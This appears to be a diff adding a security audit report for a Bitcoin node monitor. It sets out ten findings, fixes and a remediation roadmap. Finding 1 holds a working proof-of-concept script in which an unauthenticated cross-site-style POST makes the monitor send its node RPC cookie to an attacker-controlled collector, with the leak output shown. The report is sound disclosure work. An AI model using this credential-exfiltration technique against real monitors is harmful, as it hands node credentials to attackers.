1. **The probe inherits live credentials.** The test route builds a throwaway client like this:
|
|
50
|
+
|
|
51
|
+
```js
|
|
52
|
+
const probe = new RpcClient({ ...(app.cfg.nodes?.[0] ?? {}), ...node, id: 'probe' },
|
|
53
|
+
{ ...app.cfg.rpc, timeoutMs: Math.min(app.cfg.rpc.timeoutMs ?? 8000, 8000) }, { log: () => {} });
|
|
54
|
+
```
|
|
55
|
+
|
|
56
|
+
`app.cfg.nodes[0]` carries — or resolves on demand via `resolveCookie` from `<datadir>/<chain>/.cookie` — the monitor's **real node RPC credential**. The four body fields overwrite only what they name, so unless the request *also* supplies fresh credentials, the probe authenticates to whatever URL it was pointed at as the monitor itself. The route's own comment calls this out as intended behaviour ("The probe inherits the CURRENT node's credentials") for probing "the way this monitor already does" — that inheritance is precisely what turns the route into an exfiltration primitive.
|
|
57
|
+
|
|
58
|
+
2. **The route is reachable without an account by design.** It is declared `auth: 'any'`, and `configWriteAllowed()` applies `needRole('admin')` only when `auth.enabled`. Open access is the **shipped default** (`auth.enabled: false`, `server/config.js:209`), and the default node entry has `datadir: '/storage/bitcoinmachinecode/data'` — so on this box, out of the box, the probe has a real cookie to send.
|
|
59
|
+
|
|
60
|
+
3. **CSRF does not protect it in open mode.** The double-submit check is gated `if (route.csrf && session)` (`server/http/server.js:202`). In open mode there is no session — deliberately, so the read-only RPC console stays usable — so any cross-site form or fetch POST rides straight through. The code comments argue open mode is still safe because "node writes are refused" — but this route is **not a node write** (it writes nothing, so the `actionAllowed` double gate never sees it), and its effect is to make the *monitor* initiate a credentialed request to a requester-chosen URL. The `viewer` ceiling does not apply either, because the danger is not what the caller may read — it is what the server sends on the caller's behalf.
|
|
61
|
+
|
|
62
|
+
**Impact:** anyone who can get a browser on this LAN to submit a form to `http://<monitor>:21000/api/config/node/test` (or anyone who can reach the port directly) receives the node's RPC credential — the same credential that can drive the node's full RPC surface — plus can use the route as a scan/exfiltration beacon from the monitor's network position (intranet probing with an oracle in `ms`/`chain`/`blocks` fields). With the default deployment, the credential also authorises full node writes (`sendtoaddress` is denied by the node's own posture only if the node implements it; the monitor's allowlist does not bind a direct attacker holding the cookie).
|
|
63
|
+
|
|
64
|
+
**Reproduction — live, on the real app (2026-09-13, commit `4c3e952`):** the app was booted in-process by `test/helpers/http.js` with `auth.enabled: false` (the shipped default), a secret cookie planted at `<datadir>/main/.cookie`, and an attacker-controlled collector running on loopback. One unauthenticated POST — no session, no CSRF token, no Origin header, exactly the shape of a cross-site form post — later, the collector log:
|
|
65
|
+
|
|
66
|
+
```
|
|
67
|
+
COLLECTOR SAW: {"url":"/","auth":"Basic ***",
|
|
68
|
+
"body":"{\"jsonrpc\":\"1.0\",\"id\":\"c0\",\"method\":\"getblockchaininfo\",\"params\":[]}"}
|
|
69
|
+
>>> CREDENTIAL LEAKED: the monitor sent its node cookie to the attacker-chosen URL,
|
|
70
|
+
on a request with no session and no CSRF token
|
|
71
|
+
```
|
|
72
|
+
|
|
73
|
+
The `Authorization` header on the collector side decoded to the planted cookie's exact `user:password`. The monitor's own logs for the same run show the tier polls failing with `RPC authentication failed (cookie rejected)` — i.e. the planted cookie was genuinely the live credential the monitor was using.
|
|
74
|
+
|
|
75
|
+
**The PoC, kept for the record** (historical once fixed; doubles as the blueprint for the regression test):
|
|
76
|
+
|
|
77
|
+
```js
|
|
78
|
+
// PoC: open-mode /api/config/node/test — CSRF skip + credential inheritance.
|
|
79
|
+
// Boots the real app (auth OFF, the shipped default), plants a node cookie in the
|
|
80
|
+
// datadir, then POSTs an attacker-chosen rpcUrl with no session, no CSRF token and
|
|
81
|
+
// no Origin header — the shape of a cross-site form post. If the probe inherits the
|
|
82
|
+
// monitor's RPC credential, the collector's Authorization header proves it.
|
|
83
|
+
import fs from 'node:fs';
|
|
84
|
+
import path from 'node:path';
|
|
85
|
+
import http from 'node:http';
|
|
86
|
+
import { withApp } from '/storage/blockyard/test/helpers/http.js';
|
|
87
|
+
|
|
88
|
+
let caught = null;
|
|
89
|
+
const sink = http.createServer((req, res) => {
|
|
90
|
+
let b = '';
|
|
91
|
+
req.on('data', (c) => (b += c));
|
|
92
|
+
req.on('end', () => {
|
|
93
|
+
caught = { url: req.url, auth: req.headers.authorization ?? null, body: (b || '').slice(0, 300) };
|
|
94
|
+
res.writeHead(404);
|
|
95
|
+
res.end();
|
|
96
|
+
});
|
|
97
|
+
});
|
|
98
|
+
await new Promise((r) => sink.listen(0, '127.0.0.1', r));
|
|
99
|
+
const sinkPort = sink.address().port;
|
|
100
|
+
|
|
101
|
+
await withApp({ nodes: 1, config: { auth: { enabled: false } }, auth: false }, async (h) => {
|
|
102
|
+
const { client, app, port, dir } = h;
|
|
103
|
+
// The node's real secret, where resolveCookie looks: <datadir>/<chain>/.cookie
|
|
104
|
+
fs.mkdirSync(path.join(dir, 'main'), { recursive: true });
|
|
105
|
+
fs.writeFileSync(path.join(dir, 'main', '.cookie'), 'realuser:SUPER-SECRET-COOKIE-VALUE\n');
|
|
106
|
+
|
|
107
|
+
const res = await fetch(`http://127.0.0.1:${port}/api/config/node/test`, {
|
|
108
|
+
method: 'POST',
|
|
109
|
+
headers: { 'Content-Type': 'application/json' },
|
|
110
|
+
body: JSON.stringify({ rpcUrl: `http://127.0.0.1:${sinkPort}/`, datadir: dir }),
|
|
111
|
+
});
|
|
112
|
+
console.log('status', res.status);
|
|
113
|
+
const j = await res.json().catch(() => null);
|
|
114
|
+
console.log('reply', JSON.stringify(j).slice(0, 300));
|
|
115
|
+
|
|
116
|
+
await new Promise((r) => setTimeout(r, 1500));
|
|
117
|
+
if (caught) {
|
|
118
|
+
const expected = Buffer.from('realuser:SUPER-SECRET-COOKIE-VALUE').toString('base64');
|
|
119
|
+
console.log('COLLECTOR SAW:', JSON.stringify(caught));
|
|
120
|
+
console.log(
|
|
121
|
+
caught.auth === `Basic ${expected}`
|
|
122
|
+
? '>>> CREDENTIAL LEAKED: the monitor sent its node cookie to the attacker-chosen URL, on a request with no session and no CSRF token'
|
|
123
|
+
: 'no leak (header mismatch)',
|
|
124
|
+
);
|
|
125
|
+
} else {
|
|
126
|
+
console.log('COLLECTOR SAW NOTHING — probe did not fire or did not inherit credentials');
|
|
127
|
+
}
|
|
128
|
+
await app.shutdown({ saveHistory: false }).catch(() => {});
|
|
129
|
+
});
|
|
130
|
+
sink.close();
|
|
131
|
+
process.exit(0);
|
|
132
|
+
```
|
|
133
|
+
|
|
134
|
+
**Fix (three layers, all three should land):**
|
|
135
|
+
|
|
136
|
+
1. **Never inherit credentials into a caller-directed probe.** Build the probe from the request's four fields *plus nothing*: if the request names a datadir or cookieFile the operator has not yet saved, resolve the cookie from *that* candidate path — never from the live `nodes[0]`. If no candidate credential exists, probe unauthenticated and say so in the reply. (The current "inherit" behaviour also misprobes: it reports success for endpoints the candidate itself cannot authenticate to.)
|
|
137
|
+
2. **Make the route's auth match its risk.** It steers node connectivity and, until (1) lands, carries a credential — `auth: 'admin'` (or at minimum `configWriteAllowed` unconditionally). If the operator wants it usable in open mode, that must be a deliberate flag like `allowWritesWithoutAuth`, not a default.
|
|
138
|
+
3. **Close the open-mode CSRF hole for every stateful POST.** The `&& session` clause is right for pure reads, but any route that causes the *server* to act (probe, save, settings POST) should require a token even when accounts are off: issue an anonymous double-submit cookie for open mode, or gate those routes behind `Origin`/`Sec-Fetch-Site` validation. Today's code has the right intent documented and the opposite behaviour shipped.
|
|
139
|
+
|
|
140
|
+
**Regression tests to add** (the PoC converts directly): leak assertion (collector must see **no** `Authorization` header); 403 for the test route in open mode after re-auth; CSRF rejection for `POST /api/config/node` and `/api/settings` with no session.
|
|
141
|
+
|
|
142
|
+
---
|
|
143
|
+
|
|
144
|
+
## Finding 2 — MEDIUM: RPC allowlist prefix table lets read-verbs ride on mutating namespaces
|
|
145
|
+
|
|
146
|
+
**File:** `server/rpc/allowlist.js:49–67`
|
|
147
|
+
|
|
148
|
+
`ALLOW_PREFIXES` includes bare `get`, `list`, `estimate`, `verify`, `createraw`, `decoderaw`. `createraw*` builds unsigned transactions — it is correctly defended today only because `sign*` and `send*` are denied elsewhere, and because `submitpackage`/`sendrawtransaction` are exact-denied. But the same shape that bit `getnewaddress` (deny-exact fix) will bite the next node build that adds e.g. `getnewkey`, `getprivatekey`, `listunspentwithkeys`, or any future `get*`/`list*` that reads wallet secrets or node state the operator would not publish. The file's own header says a prefix rule "would be a hole, not a guard" — then ships three of them. The exact-deny list is a blacklist racing a node's method table; this deployment pins a specific node version, but the monitor is documented to work against nodes whose answers "changed shape three times in a day".
|
|
149
|
+
|
|
150
|
+
**Recommendation:** invert to an explicit allowlist of method names actually used by the UI plus a curated read set (the project already keeps `docs/RPC_LIVE_NODE.md` with the live method catalogue — 165–171 methods measured). Keep prefix rules only for the vendor-namespaced read verbs, which are documented. *(Those prefixes were removed on 2026-09-14 with the node that used them; the names are elided here.)* Add a test that walks the node's `help` output and asserts every `get*`/`list*` method not on the allowlist is denied.
|
|
151
|
+
|
|
152
|
+
## Finding 3 — MEDIUM: `/api/config/node` (save) and `/api/settings` are CSRF-exempt in open mode, and the save can aim the monitor at an attacker-chosen RPC endpoint
|
|
153
|
+
|
|
154
|
+
**Files:** `server/http/api.js:751–794` (save), `server/http/api.js:824–847` (settings POST), same `&& session` CSRF clause as Finding 1.
|
|
155
|
+
|
|
156
|
+
The save route is better defended than the probe (needs `confirm: "save"`, refuses to accept credentials, is audited), but in open mode it still accepts a cross-site POST that rewrites `config/local.json` `nodes[0].rpcUrl` — after the next restart, the monitor hands its node traffic (and, with a datadir, its cookie) to whatever endpoint the form named. Combined with Finding 1's probe, an attacker gets a read-back oracle for the saved URL via `GET /api/nodes` (`rpcUrl` is published per node) and `/api/config`. `/api/settings` is capped at 256 KB and schema-clamped on read, so the direct risk is defacement/DoS of display state, not code execution — but it is the same missing-gate class. Both routes are also reachable cross-site in open mode today.
|
|
157
|
+
|
|
158
|
+
**Recommendation:** same as Finding 1 layer 3 (origin/CSRF for stateful POSTs in open mode) — plus consider making the save route require the `confirm` value to equal a value the server generated into the page (`confirm: "save"` is a constant a cross-site form can supply).
|
|
159
|
+
|
|
160
|
+
## Finding 4 — MEDIUM: `randomPassword()` alphabet modulo bias and no strength floor on generated passwords
|
|
161
|
+
|
|
162
|
+
**File:** `server/auth/users.js:233–239`
|
|
163
|
+
|
|
164
|
+
`alphabet[bytes[i] % alphabet.length]` with `alphabet.length = 69` biases the first 187 byte values (`256 % 69 = 49` surplus across the low indices); per character the entropy loss is small (~0.02 bits) but the construction is the wrong shape for a function whose entire job is to be the bootstrap credential, and the same store enforces a 12-char minimum + breach-corpus checks on *human* passwords while exempting its own output from nothing (it is only 20 chars, fine, but the check asymmetry shows the function predates the policy). Also `crypto.randomBytes` is right; `Math.random` would not be — keep it that way.
|
|
165
|
+
|
|
166
|
+
**Recommendation:** rejection-sample (`while (v >= 256 - (256 % n)) redraw`) or use `crypto.randomInt(alphabet.length)`. One-line change, test with a distribution assertion over 10k draws.
|
|
167
|
+
|
|
168
|
+
---
|
|
169
|
+
|
|
170
|
+
## Finding 5 — LOW: `sessionTtlMs` (8 h) vs `idleTtlMs` (72 h) inversion makes "idle ceiling" longer than absolute lifetime
|
|
171
|
+
|
|
172
|
+
**Files:** `server/auth/sessions.js:71–72`, `server/config.js:211–212`
|
|
173
|
+
|
|
174
|
+
The absolute TTL (8 h) is shorter than the idle ceiling (72 h), so the idle check is dead code: no session can outlive 8 h regardless of activity. The docs (`docs/SECURITY.md:62–63`) describe it as "Sessions expire after 8 hours, with a 72-hour idle ceiling", which is the inverted relationship (an idle ceiling should be shorter than the absolute lifetime). Either the config values are swapped (likely: idle 8 h, absolute 72 h matches the names' semantics) or the docs sentence is.
|
|
175
|
+
|
|
176
|
+
**Recommendation:** pick the intended semantics, swap one number, and add a test asserting `idleTtlMs <= sessionTtlMs`.
|
|
177
|
+
|
|
178
|
+
## Finding 6 — LOW: login error path burns the scrypt KDF twice for wrong-password on an *existing* user
|
|
179
|
+
|
|
180
|
+
**File:** `server/auth/users.js:127–158` — `verify()` runs one scrypt derive; fine. But `needsRehash` triggers a **second** full derive on the same login for any user whose stored params differ from config (correct), while `server/http/api.js:251–255` throttles per address at 0.5 req/s capacity 10 — meaning a burst of 10 up-front attempts is allowed before throttling, each costing up to two scrypt derives (~40 ms + 32 MB RSS spike each on this box's measured numbers). The math is survivable (20 req/s burst worst case ≈ 0.8 core), but the two-derive path during rehash also runs on *successful* logins and is unbounded by any queue.
|
|
181
|
+
|
|
182
|
+
**Recommendation:** bound concurrent logins (a 1-slot login semaphore) so the KDF cost cannot be parallelised; drop the burst capacity from 10 to 3–5.
|
|
183
|
+
|
|
184
|
+
## Finding 7 — LOW: `test/tls.test.js` sets `NODE_TLS_REJECT_UNAUTHORIZED=0` process-wide
|
|
185
|
+
|
|
186
|
+
**File:** `test/tls.test.js:147–178`
|
|
187
|
+
|
|
188
|
+
It saves/restores the variable around the test, and rule 24 says env mutation races siblings in a file — the restore pattern here is the best available, but any *concurrent file* running TLS-touching assertions during that window inherits a disabled verifier. Zero-dependency constraint limits options; still worth a comment + a narrower window (set immediately before the request, restore in `finally` on the same tick), or an `--insecure`-free design using the suite's own CA.
|
|
189
|
+
|
|
190
|
+
## Finding 8 — LOW: `getblock` drilldown allows `height` up to 12 digits without an upper clamp
|
|
191
|
+
|
|
192
|
+
**File:** `server/http/api.js:905–906`
|
|
193
|
+
|
|
194
|
+
`/^\d{1,12}$/` accepts heights past the tip; the node's own error is surfaced (good), so this is not a fault — but it costs one lane turn per junk request, and the lane is the node's single thread. `clampInt` exists and is not used here.
|
|
195
|
+
|
|
196
|
+
**Recommendation:** clamp against `m.state.chainInfo?.blocks` when known, 400 otherwise.
|
|
197
|
+
|
|
198
|
+
## Finding 9 — LOW: SSE per-client `pendingSnapshot` retains the last full snapshot object shared across clients
|
|
199
|
+
|
|
200
|
+
**Files:** `server/http/sse.js:99–108`, and `server/http/api.js` `fullState()` builds a fresh object per client call, but hub pushes share one `snap` reference across all clients (`wireMonitor` pushes one `snap` to all).
|
|
201
|
+
|
|
202
|
+
Not a leak (one object, many readers) and not a correctness bug — but any future mutation of a pushed snapshot in place would be a cross-client data bleed. Worth a comment establishing "snapshots are immutable once pushed", or a freeze in debug builds.
|
|
203
|
+
|
|
204
|
+
## Finding 10 — LOW: audit trail trusts `entry` shape and `preview()` slices to 200 chars of arbitrary result JSON
|
|
205
|
+
|
|
206
|
+
**Files:** `server/main.js:217–224` (`delete entry.password; delete entry.rpcPassword`), `server/http/api.js:1211–1214`
|
|
207
|
+
|
|
208
|
+
`preview()` of an action result is truncated but not redacted: an action whose result echoes arguments (e.g. a future `importprivkey`-shaped action) would land secrets in `audit.jsonl`. Today's four actions are safe (`broadcast`, `savemempool`, `testmempoolaccept`, `verifychain`), and the deny-exact list keeps `importprivkey` out — but the audit sink has no denylist of key-shaped fields, only the two hardcoded `delete`s at the wrapper.
|
|
209
|
+
|
|
210
|
+
**Recommendation:** redact by pattern in `app.audit` (`/pass|secret|key|cookie|token/i` on key names), and add a test that posts an action-shaped row containing `privateKey` and asserts the stored row is redacted.
|
|
211
|
+
|
|
212
|
+
---
|
|
213
|
+
|
|
214
|
+
## Positive observations (what is done right — keep these)
|
|
215
|
+
|
|
216
|
+
1. **CSRF done properly**: double-submit, header-or-body only (cookie never accepted — `server/http/server.js:202–218`), timing-safe compare (`sessions.js:215–221`), and the comment explains why the cookie must not be accepted.
|
|
217
|
+
2. **Session tokens are 32 random bytes, stored hashed; the store file is 0600, atomic tmp+rename writes everywhere** (`sessions.js:36–42`, `users.js:44–53`).
|
|
218
|
+
3. **Equal-KDF-time for unknown usernames** with a decoy hash (`users.js:129–141`) — the response-time oracle is closed properly, and `timingSafeEqual` is length-guarded.
|
|
219
|
+
4. **Login throttling is layered**: per-address token bucket in front of the KDF (`api.js:251–255`), plus `LoginGuard` keyed on both username and address (`sessions.js:146–190`) — the two spray shapes are distinguished, not conflated.
|
|
220
|
+
5. **The `viewer` ceiling is structural, not configurational** (`server.js:258–265`): frozen object, checked on both branches (the comment at lines 183–192 shows someone burned themselves on exactly the "open becomes open-admin" bug and fixed it at the right layer).
|
|
221
|
+
6. **Node writes need four independent yeses** (config enable, allow list, accounts-or-deliberate-override, typed per-call confirm), and the config loader refuses to boot the dangerous combination rather than trusting the operator (`config.js:544–546`).
|
|
222
|
+
7. **Static serving does both containment checks**: lexical prefix *and* realpath, so traversal and planted symlinks are different attacks both stopped (`static.js:149–170`).
|
|
223
|
+
8. **CIDR membership is byte-exact, fails closed on malformed entries, and config validation refuses unusable entries at boot** (`netinfo.js:124–252`, `config.js:534–537`) — the history comment (text-prefix matching over-permitted) is a real vulnerability class, correctly fixed and tested.
|
|
224
|
+
9. **Security headers are complete and coherent**: strict CSP without `unsafe-inline` anywhere (inline styles are *absent from the code*, enforced by test), per-response nonces for scripts only, `frame-ancestors 'none'`, nosniff, DENY, no-referrer, Permissions-Policy; HSTS only over TLS and only when configured (`static.js:37–78`).
|
|
225
|
+
10. **Credentials never reach logs or the audit trail**: the logger scrubs password/secret/cookie patterns and credential-in-URL (`main.js:391–409`), the audit wrapper deletes credential fields (`main.js:217–224`), and the login endpoint never distinguishes "no such user" from "wrong password".
|
|
226
|
+
11. **The RPC lane is a DoS *defence*, not just etiquette**: one in-flight request, spacing, global rate ceiling, stale-drop, and a circuit breaker that respects already-queued work — this protects the node from the monitor's own users, which is the correct threat model for this box.
|
|
227
|
+
12. **Fail-closed posture throughout**: unknown RPC methods denied; unknown actions denied; undecodable config entries refused at boot; a corrupt users store refuses to start rather than silently recreating an admin (`users.js:37–41`); a half-configured TLS pair is fatal (`config.js:474–505`).
|
|
228
|
+
13. **Outbound surface is one documented, optional, on-demand connection set** (markets), with a boot warning for plaintext and `BLOCKYARD_MARKETS=0` documented; no telemetry, no CDNs, browser `connect-src 'self'`.
|
|
229
|
+
14. **The docs make falsifiable claims and the code cites them** — `SECURITY.md`/`docs/SECURITY.md` match the code on every point this audit checked (scrypt params, session TTLs modulo Finding 5, allowlist behaviour, cookie handling, the last-admin rule), which is rare.
|
|
230
|
+
|
|
231
|
+
## Claims vs code (docs audit)
|
|
232
|
+
|
|
233
|
+
| claim | verdict |
|
|
234
|
+
|---|---|
|
|
235
|
+
| "read-only RPC console behind a default-deny allowlist" | true, modulo Finding 2's prefix surface |
|
|
236
|
+
| "every state-changing request must carry X-CSRF-Token" (`docs/SECURITY.md:65`) | **false in open mode** for the stateful POSTs (Findings 1, 3) — the doc itself caveats "with accounts off there is no session to ride, so the check does not apply", but the routes affected are not reads |
|
|
237
|
+
| "node writes: off by default, four gates" | true, verified in code and by smoke test 109 |
|
|
238
|
+
| "Sessions expire after 8 hours, 72-hour idle ceiling" | code matches, semantics inverted (Finding 5) |
|
|
239
|
+
| "Passwords never logged, never returned" | true — scrubbed in logger, `publicUser()` whitelists fields |
|
|
240
|
+
| "data/ and config/local.json git-ignored" | true (`.gitignore` confirmed by clean `git status` around real data) |
|
|
241
|
+
| "credentials read from cookie on demand, never sent to browser" | true for the monitor's own calls; **false for the probe path** (Finding 1) |
|
|
242
|
+
|
|
243
|
+
## Remediation roadmap (ordered)
|
|
244
|
+
|
|
245
|
+
1. **Now (Finding 1):** strip credential inheritance from the probe; re-auth the route; add the three regression tests from the PoC. This is a same-day fix; the PoC is the test.
|
|
246
|
+
2. **Now (Findings 3):** origin/`Sec-Fetch-Site` or anonymous-CSRF for `POST /api/config/node` and `/api/settings` in open mode; make `confirm` a server-issued value.
|
|
247
|
+
3. **Next (Finding 2):** explicit method allowlist for `get*`/`list*` namespaces, curated from `docs/RPC_LIVE_NODE.md`; deny-prefix test over the node's own `help` catalogue.
|
|
248
|
+
4. **Next (Finding 4):** `crypto.randomInt` in `randomPassword()`.
|
|
249
|
+
5. **Hygiene (5–10):** TTL semantics fix, login semaphore, junk-height clamp, audit redaction by pattern, immutability comment on pushed snapshots, narrower TLS-env window in the one test that needs it.
|
|
250
|
+
|
|
251
|
+
## Verification evidence (this audit)
|
|
252
|
+
|
|
253
|
+
- `npm test` → **742/742 pass** (16.1 s), run 2026-09-13 against `4c3e952`.
|
|
254
|
+
- `bash scripts/smoke.sh` → **109/109 pass**, including "node writes are refused with no identity" and "the boot announces the posture".
|
|
255
|
+
- Finding 1 PoC → collector received the planted credential as `Authorization: Basic ***` on an unauthenticated, CSRF-less POST; run output quoted in the finding.
|
|
256
|
+
- Static scans: zero hardcoded secrets in non-test code; zero `eval`/`new Function`; zero SQL interpolation (the one SQLite store uses fixed statements with bound params via `node:sqlite`); `Math.random()` confined to visual/animation code (never auth, never session, never tokens); `rejectUnauthorized:false` confined to the one TLS test that restores it; no CORS wildcards; no `path.join` on request-controlled input outside the two containment-checked static paths.
|
|
257
|
+
|
|
258
|
+
*End of report.*
|